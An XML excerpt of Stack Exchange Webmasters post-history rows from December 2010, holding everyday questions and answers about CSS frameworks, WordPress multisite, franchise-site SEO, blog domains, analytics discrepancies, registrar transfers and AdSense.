  <row Id="12516" PostHistoryTypeId="3" PostId="6263" RevisionGUID="122c55ff-d081-4225-8f1c-022212e07367" CreationDate="2010-12-03T15:58:50.750" UserId="3635" Text="&lt;jquery&gt;" />
  <row Id="12517" PostHistoryTypeId="5" PostId="6263" RevisionGUID="7e339d0c-3a20-4a38-957a-52881ea1c4bb" CreationDate="2010-12-03T16:07:35.427" UserId="1253" Comment="Removed job solicitation" Text="i m developing toy portal&#xD;&#xA;and i am masking texture on toys&#xD;&#xA;i do normal masking&#xD;&#xA;but i need that texture (masking material) mold on specific place &#xD;&#xA;&#xD;&#xA;like if i mask on horse&#xD;&#xA;on face it should be horizontal line and also on body&#xD;&#xA;but on legs it sould be molded vertical mask&#xD;&#xA;&#xD;&#xA;pls help me and if you have an example it would be appriciate&#xD;&#xA;&#xD;&#xA;thx" />
  <row Id="12518" PostHistoryTypeId="2" PostId="6264" RevisionGUID="61d250ce-604b-4b0f-ac8d-b1993e63ed86" CreationDate="2010-12-03T16:29:09.457" UserId="3142" Text="[Posterous][1] has caught on in recent years as a simple but elegant solution. It's easy to get content into it and they support a large variety of formats including Flash video.&#xD;&#xA;&#xD;&#xA;Here is the [Posterous FAQ][2] page which answers many questions you might have, including verification that they support Flash video content:&#xD;&#xA;&#xD;&#xA;[http://posterous.com/faq/][3]&#xD;&#xA;&#xD;&#xA;You can also purchase a domain and use that in the future, which was another part of your question. There is a page on that describes [setting up custom domains on Posterous][4] (and describes it quite well, I should say):&#xD;&#xA;&#xD;&#xA;[http://posterous.com/help/custom_domain/][5]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://posterous.com/&#xD;&#xA;  [2]: http://posterous.com/faq/&#xD;&#xA;  [3]: http://posterous.com/faq/&#xD;&#xA;  [4]: http://posterous.com/help/custom_domain/&#xD;&#xA;  [5]: http://posterous.com/help/custom_domain/" />
  <row Id="12519" PostHistoryTypeId="2" PostId="6265" RevisionGUID="da68e1ff-bbf8-4403-884f-7c1b48c1e90f" CreationDate="2010-12-03T16:41:32.680" UserId="3142" Text="Is there a CSS Framework that tries to provide for business applications, specifically?&#xD;&#xA;&#xD;&#xA;I've looked at the Mocha UI which is based on MooTools. Honestly, though, I'd like to avoid dealing with Javascript and Moo (or jQuery / jQuery UI). I tend to believe that most of what you need for a simple web app can be handled in CSS without the Javascript mods to it.&#xD;&#xA;&#xD;&#xA;Many of the polished CSS is aimed at blogging or web publishing needs that are different from the UI needs of a business app. It seems like this must be a problem that *someone* has solved, but I can't seem to find a solution." />
  <row Id="12520" PostHistoryTypeId="1" PostId="6265" RevisionGUID="da68e1ff-bbf8-4403-884f-7c1b48c1e90f" CreationDate="2010-12-03T16:41:32.680" UserId="3142" Text="Can you recommend a CSS Framework (or UI Framework) for enterprise web apps?" />
  <row Id="12521" PostHistoryTypeId="3" PostId="6265" RevisionGUID="da68e1ff-bbf8-4403-884f-7c1b48c1e90f" CreationDate="2010-12-03T16:41:32.680" UserId="3142" Text="&lt;website-design&gt;&lt;css-framework&gt;&lt;gui&gt;" />
  <row Id="12522" PostHistoryTypeId="5" PostId="6265" RevisionGUID="c7d81449-f423-428c-99e4-ff085f8e5728" CreationDate="2010-12-03T16:47:36.530" UserId="3142" Comment="explain requirements better (prefer non language specific solutions)" Text="Is there a CSS Framework that tries to provide for business applications, specifically?&#xD;&#xA;&#xD;&#xA;I've looked at the Mocha UI which is based on MooTools. Honestly, though, I'd like to avoid dealing with Javascript and Moo (or jQuery / jQuery UI). I tend to believe that most of what you need for a simple web app can be handled in CSS without the Javascript mods to it.&#xD;&#xA;&#xD;&#xA;Many of the polished CSS is aimed at blogging or web publishing needs that are different from the UI needs of a business app. It seems like this must be a problem that *someone* has solved, but I can't seem to find a solution.&#xD;&#xA;&#xD;&#xA;My hope would be that proposed solutions would be language agnostic (work with PHP, ASP, CF, etc.). However, if there is a framework rooted in a language that handles the UI in a very &quot;finished&quot; sense, then I'd be interested in looking at that, even if it meant adopting a framework that forced the use of a particular server-side language.&#xD;&#xA;&#xD;&#xA;My goal is not to go MVC, just have some nice looking CSS that would fit an application." />
  <row Id="12524" PostHistoryTypeId="2" PostId="6266" RevisionGUID="2cc16adf-bfa5-4a87-887a-e91b9c2b9264" CreationDate="2010-12-03T17:14:15.723" UserId="3302" Text="I have several sites and I build most of my clients' websites on Wordpress. It makes sense for most of the sites I build and if I want to give them the reins it is easy to train a client on.&#xD;&#xA;&#xD;&#xA;I know Wordpress 3.0 integrated the MU plugin allowing for multiple websites to be run on one platform. Since I have never tried doing this before, I'm curious about the experience others have with it. What are the pros and cons?&#xD;&#xA;&#xD;&#xA;Furthermore, when is it appropriate to do multiple sites on a single installation? Seems like the websites I personally run would be good candidates since only I and occasionally another administrator login to the backend. Some of the websites I run for the clients and they don't login to edit anything themselves, so these also might benefit. However, the ones where I give them access to the backend, is it possible to limit them to only modify and access the pages/posts on their own site?" />
  <row Id="12525" PostHistoryTypeId="1" PostId="6266" RevisionGUID="2cc16adf-bfa5-4a87-887a-e91b9c2b9264" CreationDate="2010-12-03T17:14:15.723" UserId="3302" Text="Pros and Cons of Wordpress multiple installations versus networking?" />
  <row Id="12526" PostHistoryTypeId="3" PostId="6266" RevisionGUID="2cc16adf-bfa5-4a87-887a-e91b9c2b9264" CreationDate="2010-12-03T17:14:15.723" UserId="3302" Text="&lt;web-development&gt;&lt;wordpress&gt;&lt;cms&gt;" />
  <row Id="12527" PostHistoryTypeId="5" PostId="6031" RevisionGUID="c6358c23-f0c9-4239-a61b-f1c3086f5afe" CreationDate="2010-12-03T17:15:54.403" UserId="3523" Comment="added 724 characters in body" Text="My employer runs a writing contest every year. Every year we publish the top three results in each category to our website. No big deal. This year, a category has been added for a graphic novel.&#xD;&#xA;&#xD;&#xA;What standards and best practises are out there for publishing this to our site? I'm assuming a PDF would be terrible for accessibility. My gut instinct is just to scan it and put up JPGs. Would I be best to transcribe the text into paragraphs, or just leave it as alt text?&#xD;&#xA;&#xD;&#xA;Any help would be appreciated.&#xD;&#xA;&#xD;&#xA;**UPDATE:**&#xD;&#xA;I think my final solution is going to have bits of pieces of the answers below.&#xD;&#xA;&#xD;&#xA; - Options for both view and download&#xD;&#xA; - Download will fire up a PDF for people looking for print quality&#xD;&#xA; - View will option a new window/tab with the header stripped down to just corporate branding.&#xD;&#xA; - View will have a full page JPG of the current page, and toggles for naving back and forth.&#xD;&#xA; - View will also have plain text, paragraph based explanation of the scene(s) on the page. This text will be hidden from browsers with CSS.&#xD;&#xA; - View images will have alt text just defining what the image is (IE title and page).&#xD;&#xA;&#xD;&#xA;I believe this will cover all of the bases, while still being relatively pain free to post.&#xD;&#xA;" />
  <row Id="12528" PostHistoryTypeId="2" PostId="6267" RevisionGUID="f3e0f51d-10df-46c8-8fa7-1fd371fde638" CreationDate="2010-12-03T17:22:23.353" UserId="1064" Text="You state that your application's configuration was changed - are you certain that is the case?&#xD;&#xA;&#xD;&#xA;It sounds as though your database was hosted on the same server as your application itself - in which case the configuration may very well have been to access the locally-hosted database.&#xD;&#xA;&#xD;&#xA;Definitely not an ideal situation and it sounds as though you have a right to be upset, however, accusing your hosting provider of hacking your site or changing your settings without authorization is the wrong way to approach the issue if no settings were actually changed.&#xD;&#xA;&#xD;&#xA;You're probably well on your way to finding a new hosting provider - hopefully one which notifies its customers before performing maintenance of this nature - but (having worked for a hosting company or two) I would recommend that you document the nature of your complaint as thoroughly as possible and avoid making accusations which are not supported by the evidence if you are going to request compensation for the issue." />
  <row Id="12529" PostHistoryTypeId="5" PostId="6185" RevisionGUID="5656b05b-c15c-487b-a856-4d60e7207b46" CreationDate="2010-12-03T17:26:13.377" UserId="3590" Comment="deleted 68 characters in body" Text="im trying to make a new, modern, up to date chart of meta tags, for all of us, with their purposes, their use and their good (or bad) effects on search engines/being found. I will add your comments into my list so this chart is a result of live discussion and up to date! Also, it would be creative to invent your own meta, because i believe that we are the ones making the web, or aren't we?&#xD;&#xA;&#xD;&#xA;*LEGEND*  &#xD;&#xA;**P** PURPOSE? What does this meta tag do in 2011, if anything  &#xD;&#xA;**N** NECESSARY? Does every site really needs it or not?  &#xD;&#xA;**G** GOOD wether it will have a good effect for your site to be found  &#xD;&#xA;**I** INVENTED meta tag, who knows it will be accepted in a year!  &#xD;&#xA;&#xD;&#xA;    META &quot;METANAME&quot; = PURPOSE   -   NECESSARY   -   GOOD EFFECT?&#xD;&#xA;&#xD;&#xA;    #### important&#xD;&#xA;    meta &quot;title&quot; = P consice summary + teaser - N very - G extremely&#xD;&#xA;    meta &quot;description&quot; = P description + teaser - N yes - G very&#xD;&#xA;    meta &quot;robots&quot; = P if needed, to skip default dmoz/yahoodir listing - N no - G?&#xD;&#xA;&#xD;&#xA;    #### new &amp; promising! Thanks for input (John, )&#xD;&#xA;    meta &quot;syndication-source&quot;  P url for syndication of published news - N? - G?&#xD;&#xA;    meta &quot;original-source&quot; P url of whoever broke the news gets credits - N? - G?&#xD;&#xA;&#xD;&#xA;    #### seems obsolete&#xD;&#xA;    meta &quot;keywords&quot; = P some keywords - N+G not for google&#xD;&#xA;    meta &quot;language&quot; = P overrule guesswork by defining language - N no - G yes &#xD;&#xA;    meta &quot;author&quot; = P author of the page - N? - G?&#xD;&#xA;    meta &quot;copyright&quot; = ?&#xD;&#xA;    meta &quot;page-topic&quot; = P topic/theme - N? - G?&#xD;&#xA;    meta &quot;abstract&quot; = P short summary - N? - G?&#xD;&#xA;&#xD;&#xA;    #### invented&#xD;&#xA;    meta &quot;audience&quot; = P filteres visitors &quot;+seniors, -children, -youth, +adult&quot;&#xD;&#xA;    meta &quot;mood&quot; = P specifies textual mood: &quot;discussion, informative, commercial,&#xD;&#xA;                    sensual, fictional, scientific, romantic, therapeutic&quot;" />
  <row Id="12530" PostHistoryTypeId="2" PostId="6268" RevisionGUID="65007911-2e1e-43fd-823a-b104b4d2022c" CreationDate="2010-12-03T17:46:20.973" UserId="1757" Text="Mocha UI and jQuery UI are JavaScript UI libraries, which have very a different purpose from what a CSS framework aims to do. I don't think you'll find a CSS framework that can do what those libraries do.&#xD;&#xA;&#xD;&#xA;Firstly, UI is more than just aesthetics or visual design; it includes a defined set of behaviors and interactions. That's why JavaScript is necessary to create a UI library like Mocha UI or YUI. CSS just isn't capable of generating rich UI widgets on its own. That's why non-AJAX apps just don't have very rich UIs.&#xD;&#xA;&#xD;&#xA;The other thing is, even if you're only interested in a pre-packaged set of UI graphics, the aesthetics of a UI has to match the web design it's placed in. So aside from rapid prototyping, there wouldn't be much use for a prepackaged UI &quot;theme&quot;. That's why most JavaScript UI libraries let you customize the look and feel of the UI components they come with. And that involves editing images in addition to the CSS styles.&#xD;&#xA;&#xD;&#xA;For these reasons, most CSS frameworks are frameworks for writing CSS, not UI frameworks that you can just drop into an application to make it look good. Such frameworks can certainly make writing CSS for large applications more manageable, but in the end you still need a UI designer and a front-end programmer to design and implement the UI.&#xD;&#xA;&#xD;&#xA;Now, if you're using a popular CMS you *could* download or purchase a theme for it. But I know of no CSS theming/skinning framework that can be used in a custom application. Besides, most enterprise web applications have custom-designed UIs not pre-built themes.&#xD;&#xA;&#xD;&#xA;That said, what you *could* do is do what many UX designers and interaction designers do. That is, build a company-wide custom UI library (or have one created for you) that all of your applications will use. This will ensure that all of your applications have a uniform &quot;signature&quot; look that is aligned with your brand. And it saves your front-end developers the time of having to rewrite UI styles for each app." />
  <row Id="12531" PostHistoryTypeId="2" PostId="6269" RevisionGUID="7b8955d9-2278-4b30-a6fd-5aa8e92fd11c" CreationDate="2010-12-03T17:54:49.230" UserId="3638" Text="My question is really an extension of a [previous question](http://webmasters.stackexchange.com/questions/6227/seo-architecture-for-multiple-related-websites) that was ported from stackoverflow and closed so I cannot edit it. The basic gist is a regional franchise company has decided to force all independent stores into one website look; they currently all have their own domains and completely different websites.  After reading the helpful answers and looking over some links provided, I think my solution is to put a 301 on each franchise store site (acme-store1.com, acme-store2.com, etc) back to the main corporate site (acme.com). All of the company history, product info, etc (about 90% of the entire site) applies to all stores.  However, each store should have some exclusive content such as staff, location pictures, exclusive events and promotions, etc. I originally thought that I would simply do something like acme.com/store1/staff, acme.com/store2/staff, etc for the store exclusive content and then acme.com/our-company, for example, would cover all stores. However, I now see two issues that I don't know how to solve.&#xD;&#xA;&#xD;&#xA;1.  They want to see site stats based on what store site they came from. If a user comes from acme-store1.com, is redirected to acme.com and hits several pages, don't I need to somehow keep that original site in the new url to track each page in that user's session and show they originally came from acme-store1.com?&#xD;&#xA;2.  Each store is still independently owned and is essentially still in competition with the other stores, albeit, in less competition than they are with other brands.  This is important because each store would like THEIR contact info, links to their social media pages, their mailing list sign-up and customer requests on EVERY page. So if a user originally goes to acme-store1.com and is redirected to acme.com, it still should look to the user that it's all about store 1, even though 90% of the content will be exactly the same as it is in the store 2, store 3 and corporate site. For example, acme.com/our-company would have the same company history, same header/footer/navigation, BUT depending on the original site the user came from, it would display contact and links to THAT store. If someone came directly to the corporate site, it would display their contact and links (they have their own as well).&#xD;&#xA;&#xD;&#xA;I was considering that all redirects would be to store1.acme.com, store2.acme.com, etc (or acme.com/store1) and then I can dynamically add the contact info and appropriate links based on the subdomain or subfolder. But, then I have to worry about duplicate content penalties because, again, about 90% of the text in these &quot;subdomains&quot; are all the same. For reference, this is a PHP5 site. I've already written a compact framework utilizing templates and mod-rewrite that I've used for other sites. Is this an easy fix that I'm just not grasping?  Any suggestions?&#xD;&#xA;" />
  <row Id="12532" PostHistoryTypeId="1" PostId="6269" RevisionGUID="7b8955d9-2278-4b30-a6fd-5aa8e92fd11c" CreationDate="2010-12-03T17:54:49.230" UserId="3638" Text="Avoiding Duplicate Content Penalties on a Corporate/Franchise website" />
  <row Id="12533" PostHistoryTypeId="3" PostId="6269" RevisionGUID="7b8955d9-2278-4b30-a6fd-5aa8e92fd11c" CreationDate="2010-12-03T17:54:49.230" UserId="3638" Text="&lt;seo&gt;&lt;php&gt;&lt;architecture&gt;" />
  <row Id="12534" PostHistoryTypeId="2" PostId="6270" RevisionGUID="84b34052-6e55-4157-8fae-3c5a6f90cec5" CreationDate="2010-12-03T18:36:52.540" UserId="1920" Text="Is there some kind of thresh-hold to start seriously considering buying a domain and moving away from the [name].[blogspot,etc].com?&#xD;&#xA;&#xD;&#xA;In this case I have a blog that focuses on personal miscellany (food, politics, etc); get about 110 visits, 350 pageviews, 3.6% bounce per month; have had that for a few months now; and am looking to grow. I'd like to buy my TLD since it's available, but am also wondering if switching to the TLD would drop/obfuscate traffic. (If it matters, it's on `[name].squarespace.com` currently.)&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;" />
  <row Id="12535" PostHistoryTypeId="1" PostId="6270" RevisionGUID="84b34052-6e55-4157-8fae-3c5a6f90cec5" CreationDate="2010-12-03T18:36:52.540" UserId="1920" Text="At what thresh-hold should i get my blog its own domain?" />
  <row Id="12536" PostHistoryTypeId="3" PostId="6270" RevisionGUID="84b34052-6e55-4157-8fae-3c5a6f90cec5" CreationDate="2010-12-03T18:36:52.540" UserId="1920" Text="&lt;domains&gt;&lt;traffic&gt;&lt;subdomain&gt;" />
  <row Id="12537" PostHistoryTypeId="2" PostId="6271" RevisionGUID="f274166b-e9db-4af5-bf50-dd3d5aad9364" CreationDate="2010-12-03T18:40:04.573" UserId="1253" Text="The sooner you get your new domain the sooner you can begin the transition and the less painful it will be. As you get more and more readers you will have more and more people who need to be aware of your new address as well as more RSS feeds that need to be updated. Plus you'll have a bunch of links pointing to your old site that need to be updated as well.&#xD;&#xA;&#xD;&#xA;If you plan on continuing to grow your blog I'd say there is no better time then right now. :)" />
  <row Id="12538" PostHistoryTypeId="2" PostId="6272" RevisionGUID="a60631b5-d086-4b37-8280-034064f7c077" CreationDate="2010-12-03T19:09:40.763" UserId="1920" Text="According to Squarespace, in the last month I got Page Views 259, Unique Visitors 172, and Robot Hits 1,965. According to Google Analytics it was more like 346 page views, and 97 Uniques (no data on robots).&#xD;&#xA;&#xD;&#xA;I currently have filters for self traffic (exclude home/work) on both analytics. How do I go about reconciling the two, or believing either one?[Here is a link to the exported analytics; sorry pdf][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.google.com/viewer?a=v&amp;pid=explorer&amp;chrome=true&amp;srcid=0BwWH_7dsgkAqNjk5YTVjMjEtNDJiOS00OTU2LWFlOGEtZmViYjkzZmMxOGYy&amp;hl=en&amp;authkey=CIGWvuQF" />
  <row Id="12539" PostHistoryTypeId="1" PostId="6272" RevisionGUID="a60631b5-d086-4b37-8280-034064f7c077" CreationDate="2010-12-03T19:09:40.763" UserId="1920" Text="How do I reconcile my Google Analytics numbers with my Squarespace analytics?" />
  <row Id="12540" PostHistoryTypeId="3" PostId="6272" RevisionGUID="a60631b5-d086-4b37-8280-034064f7c077" CreationDate="2010-12-03T19:09:40.763" UserId="1920" Text="&lt;google-analytics&gt;&lt;analytics&gt;&lt;website-analytics-tools&gt;" />
  <row Id="12541" PostHistoryTypeId="2" PostId="6273" RevisionGUID="7055848a-e019-4d6c-894d-17e1a36a916e" CreationDate="2010-12-03T19:36:11.833" UserId="3302" Text="If you intend on ever moving it to its own domain, then do it now. It's only $15 for a domain name and you can find hosting for less than $100 a year. Start getting links built up to its permanent location and getting your visitors used to that domain." />
  <row Id="12542" PostHistoryTypeId="2" PostId="6274" RevisionGUID="dc737c61-2da3-44a8-a205-c9c230707e8a" CreationDate="2010-12-03T19:43:31.700" UserId="3302" Text="There is bound to be some small differences between numbers on two different analytics packages. I would start by looking to see:&#xD;&#xA;&#xD;&#xA; - Am I tracking every page on both packages?&#xD;&#xA; - Are the tracking scripts in different places? (ie top of page and bottom)&#xD;&#xA;&#xD;&#xA;I don't know how Squarespace runs their analytics. However, do a little bit of research on it. If they use Javascript tracking the same way Google does, then those questions apply. If they are reading from your server log files (like Webalizer does) then they would be the more accurate tracker." />
  <row Id="12543" PostHistoryTypeId="2" PostId="6275" RevisionGUID="31ae2b49-adab-42f7-8e75-4e30b3e02cad" CreationDate="2010-12-03T20:05:49.027" UserId="3639" Text="I would suggest a solution similar to Amazon's affiliate tracking.  Amazon uses a cookie to denote which affiliate referred the client to their site using a special token in the `GET` arguments.  For example, you might have a redirect like:&#xD;&#xA;&#xD;&#xA;    store1.com =&gt; acme.com/?ref=store1&#xD;&#xA;&#xD;&#xA;This would create a cookie on the client's machine which would allow you to include `store1`'s information in each page.  You would also be able to feed this into your analytic software for tracking.&#xD;&#xA;&#xD;&#xA;There are still issues with this method, however.&#xD;&#xA;&#xD;&#xA; - Some people do not store cookies, which completely breaks this model.  &#xD;&#xA; - What happens if a customer comes directly to `acme.com` instead of bouncing off of an affiliate page?&#xD;&#xA;   - If the cookie has expired (or they visit the website from a different computer) will your stores accept that no contact information is displayed?  How will the website handle this consumer?&#xD;&#xA;     - Store locater?&#xD;&#xA;   - Google (or Bing, or whatever) will refer new customers to `acme.com` (because that is all Google can see), but they will have no cookie, so who gets them?&#xD;&#xA; - If `acme.com` sells direct to consumer, the question of ownership is **highly** exaggerated.&#xD;&#xA;&#xD;&#xA;These are all factors that should go into the business decision of consolidating the websites to `acme.com`.  It is certainly not an easy problem, and will likely end up with a good deal of custom software to make it happen.&#xD;&#xA;" />
  <row Id="12544" PostHistoryTypeId="2" PostId="6276" RevisionGUID="6c3d3e28-64f7-4f41-bf0c-096c37ecc0aa" CreationDate="2010-12-03T20:20:32.543" UserId="3639" Text="Assuming your site content is fairly static (not a shopping cart or similar) you can do this using your DNS server entries on the domain.  You would purchase hosting from several providers (I'll use `acme.com` and `example.com` as the providers).  Each provider should provide a list of the DNS servers to use while registering your domain.  It may look something like this:&#xD;&#xA;&#xD;&#xA; 1. NS1.ACME.COM&#xD;&#xA; 1. NS2.ACME.COM&#xD;&#xA; 1. NS1.EXAMPLE.COM&#xD;&#xA; 1. NS2.EXAMPLE.COM&#xD;&#xA;&#xD;&#xA;You enter all 4 of these DNS servers in when you register your domain (or in the editing of your domain properties).  As a result, if `acme.com`'s DNS servers go down, then `example.com`'s servers will take over.  You would have to set up 2 accounts (one for each hosting company) for your email users, however.  But this should be fairly transparent once it is set up.&#xD;&#xA;&#xD;&#xA;This is a DNS-level solution for your problem, but I think your problem is more complex than simple DNS tricks will solve for you." />
  <row Id="12545" PostHistoryTypeId="2" PostId="6277" RevisionGUID="d2a82a3b-7239-4934-809b-09050d386f46" CreationDate="2010-12-03T20:37:55.277" UserId="2293" Text="Hmm... I think aside cool design you should also think on usability.&#xD;&#xA;&#xD;&#xA;Long lists tires anyone. My suggestion, if possible under your implementation, is to paginate results, showing just 20-50 results per page, in alphabetical order.&#xD;&#xA;&#xD;&#xA;Simple, gives you a breathe in layout, and any person can use easily." />
  <row Id="12546" PostHistoryTypeId="2" PostId="6278" RevisionGUID="492c02ca-39a7-4972-9d27-bfa0f85a2aca" CreationDate="2010-12-03T20:55:02.123" UserId="3639" Text="Why bother scraping when you can use their [official syndication methods][1]?  This is much less likely to piss them off, and should be fairly easy for any developer to parse and integrate into your site.  This way a change to their HTML doesn't break your site.  This is also much less likely to piss off the RT guys, meaning you're less likely to get banned.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.rottentomatoes.com/help_desk/syndication.php" />
  <row Id="12547" PostHistoryTypeId="2" PostId="6279" RevisionGUID="9738c820-1752-4b38-af27-5ac4b8c3d262" CreationDate="2010-12-04T01:57:24.240" UserId="3644" Text="At &lt;a href=&quot;http://www.namecheap.com/&quot;&gt;less than $10&lt;/a&gt;*, the answer is immediately (and ideally, on day zero).&#xD;&#xA;&#xD;&#xA;Moving to a new URL is a real pain, especially as you get larger.  Moving will have an impact on bookmarks, links, PageRank, etc.  The sooner you take care of this, the easier it is for you and your visitors.&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;* no affiliation, just a happy customer.&lt;/sup&gt;" />
  <row Id="12548" PostHistoryTypeId="2" PostId="6280" RevisionGUID="ff920442-6746-4600-96a0-c2384e387354" CreationDate="2010-12-04T03:31:36.783" UserId="3645" Text="I'd suggest utilizing the datatables plugin for jQuery (at datatables.net)&#xD;&#xA;Just have a look at their examples and see if it suits your needs.&#xD;&#xA;" />
  <row Id="12549" PostHistoryTypeId="2" PostId="6281" RevisionGUID="1dc4be63-970d-4606-8080-91e9579d2a55" CreationDate="2010-12-04T03:36:30.863" UserDisplayName="HappyWebMaster" Text="Currently I have a domain with godaddy as the registrar, and I have received many threats from them about losing it (for random reasons, like they always seem to do)&#xD;&#xA;&#xD;&#xA;So I started looking for another hosting and registrar, but I don't know how to change my domain registrar without being at risk of someone else buying my domain.&#xD;&#xA;&#xD;&#xA;Is there a secure way to do this?&#xD;&#xA;&#xD;&#xA;Also, which registrar would you recommend?" />
  <row Id="12550" PostHistoryTypeId="1" PostId="6281" RevisionGUID="1dc4be63-970d-4606-8080-91e9579d2a55" CreationDate="2010-12-04T03:36:30.863" UserDisplayName="HappyWebMaster" Text="How to change registrar??" />
  <row Id="12551" PostHistoryTypeId="3" PostId="6281" RevisionGUID="1dc4be63-970d-4606-8080-91e9579d2a55" CreationDate="2010-12-04T03:36:30.863" UserDisplayName="HappyWebMaster" Text="&lt;registrar&gt;" />
  <row Id="12552" PostHistoryTypeId="2" PostId="6282" RevisionGUID="a6d3ca1e-934a-4df9-a578-c9e84a5fea48" CreationDate="2010-12-04T03:48:25.253" UserId="3646" Text="If your blog provider offers an option to do 301 redirects to your new domain it should be a lot less painful of a transition as far as traffic loss.  I know Wordpress recently started doing that, but I'm not sure about other providers.&#xD;&#xA;&#xD;&#xA;http://en.blog.wordpress.com/2010/05/27/making-redirects-permanent/" />
  <row Id="12553" PostHistoryTypeId="2" PostId="6283" RevisionGUID="3d93f17f-b57b-4c78-9d8d-b6186c074867" CreationDate="2010-12-04T05:25:51.020" UserId="1285" Text="The problem is that &quot;finished&quot; means different things to different people.  &#xD;&#xA;&#xD;&#xA;Maybe you want a nice little border to fade in around your input elements after they have received focus.  Maybe you want all of your paragraph elements to have a 4 pixel margin.  Or maybe you want to ensure that all buttons have blue text with a gloss feel.&#xD;&#xA;&#xD;&#xA;You see, there is no single solution.  It's all a matter of design and taste which is by no means the same for everyone AND continues to evolve.  Web 2.0 brought us larger fonts, bigger boxes to type in, and a lack of nested drop down menus (thankfully).  Who knows what the UI geeks will figure out for &quot;3.0&quot;...  Whatever it is, it will hopefully be as radically different as the 2.0 stuff was from the sites from the 90's.&#xD;&#xA;&#xD;&#xA;Certain technologies like WPF, Flash, and Silverlight exist, in part, to give a completely different feel to a site.  But, again, these are simply starting points to allow your own creativity to flourish.  jQuery UI and Mocha UI fall into the same categories.&#xD;&#xA;&#xD;&#xA;Now, depending on the backend tech you are using there are control vendors (like [telerik][1] and [DevExpress][2]) who provide skins out of the box for their control libraries and they are a great way to slap something together that actually looks pretty good.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.telerik.com&#xD;&#xA;  [2]: http://devexpress.com" />
  <row Id="12554" PostHistoryTypeId="2" PostId="6284" RevisionGUID="7c3bde9c-d823-4391-9948-4d87d5c6721e" CreationDate="2010-12-04T05:29:12.203" UserId="1285" Text="There is a secure way to do this.  The new registrar will provide you with complete instructions on how to do this.&#xD;&#xA;&#xD;&#xA;Interestingly, I've never heard of godaddy threatening anyone with losing their domain registration.  I almost hate to ask why...&#xD;&#xA;&#xD;&#xA;However, [register.com][1] and [networksolutions.com][2] are both good albeit a bit more expensive.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.register.com&#xD;&#xA;  [2]: http://networksolutions.com" />
  <row Id="12555" PostHistoryTypeId="2" PostId="6285" RevisionGUID="e824cc4a-3438-4b73-9a5e-e14a59758ed1" CreationDate="2010-12-04T05:35:11.047" UserId="1285" Text="First, it's not hacking.&#xD;&#xA;&#xD;&#xA;Second, why on earth did they set up a second database server?  Even if they were changing the IP address of your webserver, this doesn't make any sense.&#xD;&#xA;&#xD;&#xA;Have you called to ask what in the world they were doing?&#xD;&#xA;&#xD;&#xA;My guess is these guys are a very small shop that is reselling hosting.  More than likely they decided to switch their own providers and tried to make this as painless (and quiet) as possible.  Step 1 for me would be to find a new top tier host that wasn't reselling someone elses servers.  Step 2 would be to get my site(s) moved to the new host.  And Step 3 would be to sue the old host for stupidity.  However, again, there was no hacking done." />
  <row Id="12556" PostHistoryTypeId="2" PostId="6286" RevisionGUID="b46e810f-180f-438b-8818-07951277ad76" CreationDate="2010-12-04T06:45:51.487" UserId="3643" Text="I'm designing my own website as a side project and I want the site to look professional. (Read, not designed by a programmer.)  I don't mind spending a little money to have a professional do it, but design sites like 99designs.com cost way to much. (~$500+)&#xD;&#xA;&#xD;&#xA;Is there a cheaper (~$100 - $200) alternative for getting a designer to improve an existing site? (Things like updating the CCS or suggesting better ways for laying out the navigation.) Or is my best bet trying to pick up a freelancer on Craigslist?" />
  <row Id="12557" PostHistoryTypeId="1" PostId="6286" RevisionGUID="b46e810f-180f-438b-8818-07951277ad76" CreationDate="2010-12-04T06:45:51.487" UserId="3643" Text="Cheaper alternatives to 99Designs.com (outsource CSS design)" />
  <row Id="12558" PostHistoryTypeId="3" PostId="6286" RevisionGUID="b46e810f-180f-438b-8818-07951277ad76" CreationDate="2010-12-04T06:45:51.487" UserId="3643" Text="&lt;website-design&gt;" />
  <row Id="12559" PostHistoryTypeId="2" PostId="6287" RevisionGUID="3ecb1886-c9d3-4e8c-b33b-63aece3f6492" CreationDate="2010-12-04T06:59:55.417" UserId="2930" Text="I made [a blog][1] few months back,I wanted to add adsense for it but yesterday I found out that the e-mail address I use is blacklisted by google adsense,I have applied for google adsense some years back but they replied back that the site did not had much content.Why would they blacklist my email address?Can I have a new adsense account?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mycsnippets.blogspot.com" />
  <row Id="12560" PostHistoryTypeId="1" PostId="6287" RevisionGUID="3ecb1886-c9d3-4e8c-b33b-63aece3f6492" CreationDate="2010-12-04T06:59:55.417" UserId="2930" Text="I want to add adsense for my blog" />
  <row Id="12561" PostHistoryTypeId="3" PostId="6287" RevisionGUID="3ecb1886-c9d3-4e8c-b33b-63aece3f6492" CreationDate="2010-12-04T06:59:55.417" UserId="2930" Text="&lt;google-adsense&gt;" />
  <row Id="12562" PostHistoryTypeId="2" PostId="6288" RevisionGUID="7756dc70-cd26-4fe7-bc82-d16b7cec2abf" CreationDate="2010-12-04T07:32:52.050" UserDisplayName="Gradiva Couzin" Text="As an update, this protocol is fully supported now on Google.   However, Bing does not support the protocol at this time.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12563" PostHistoryTypeId="2" PostId="6289" RevisionGUID="16df2ad8-df6c-41dc-aec7-0de0fceaa353" CreationDate="2010-12-04T07:37:14.120" UserDisplayName="Gradiva Couzin" Text="You can facilitate Google's indexing of your Ajax state pages by following the protocol described here:  http://code.google.com/web/ajaxcrawling/docs/getting-started.html&#xD;&#xA;&#xD;&#xA;Unfortunately, the protocol is not supported by Bing, as of now." />
  <row Id="12564" PostHistoryTypeId="2" PostId="6290" RevisionGUID="c55f79f3-2d01-44ba-9b27-8e27f633aa1d" CreationDate="2010-12-04T07:39:33.400" UserId="3122" Text="i am on a wallpapers blog project... when i generate leech pages i put in the tags about that image in meta information... but i also need to tell that these are wallpapers...&#xD;&#xA;&#xD;&#xA;so what is the best way to do it...&#xD;&#xA;&#xD;&#xA;like for an iron man wallpaper i would do this&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;keywords&quot; content=&quot;iron , man , tony , stark&quot; /&gt;&#xD;&#xA;&#xD;&#xA;should be adding wallpapers to the keywords...&#xD;&#xA;&#xD;&#xA;" />
